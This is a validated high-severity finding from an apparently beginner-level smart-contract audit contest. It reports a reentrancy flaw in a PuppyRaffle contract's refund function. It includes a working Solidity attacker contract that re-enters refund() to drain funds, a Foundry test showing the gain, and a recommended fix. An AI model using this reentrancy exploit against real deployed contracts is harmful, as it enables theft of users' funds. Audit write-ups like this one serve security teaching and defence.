Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Refund reentrancy draining all funds

Summary

An attacker can re-enter the refund function and drain all funds

Vulnerability Details

The refund function does not follow the checks, effects interactions pattern and does not include a nonreentrant modifier. This means an attacker can claim a refund multiple times.

Impact

An attacker can steal all funds

POC

contract Attacker {
address public target;
uint public index;
constructor(address _target) payable {
target = _target;
}
function attack() external {
// enter the raffle
address[] memory players = new address[](1);
players[0] = address(this);
PuppyRaffle(target).enterRaffle{value: 1e18}(players);
// get the index of the player
index = PuppyRaffle(target).getActivePlayerIndex(address(this));
// refund the player
PuppyRaffle(target).refund(index);
}
receive() external payable {
// get the balance of the target contract
uint256 balance = address(target).balance;
if (balance > 0) {
// call refund on the target contract
PuppyRaffle(target).refund(index);
}
}
}
function testRefundMultipleTimes() public playersEntered {
Attacker attacker = new Attacker{value: 2 ether}(address(puppyRaffle));
uint256 attackerBalanceBefore = address(attacker).balance; // 2 ether
attacker.attack();
uint256 attackerBalanceAfter = address(attacker).balance; // 6 ether
}

Tools Used

Manual Review

Recommendations

Follow the checks, effects, interactions pattern and/or add a nonreentrant modifier

Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.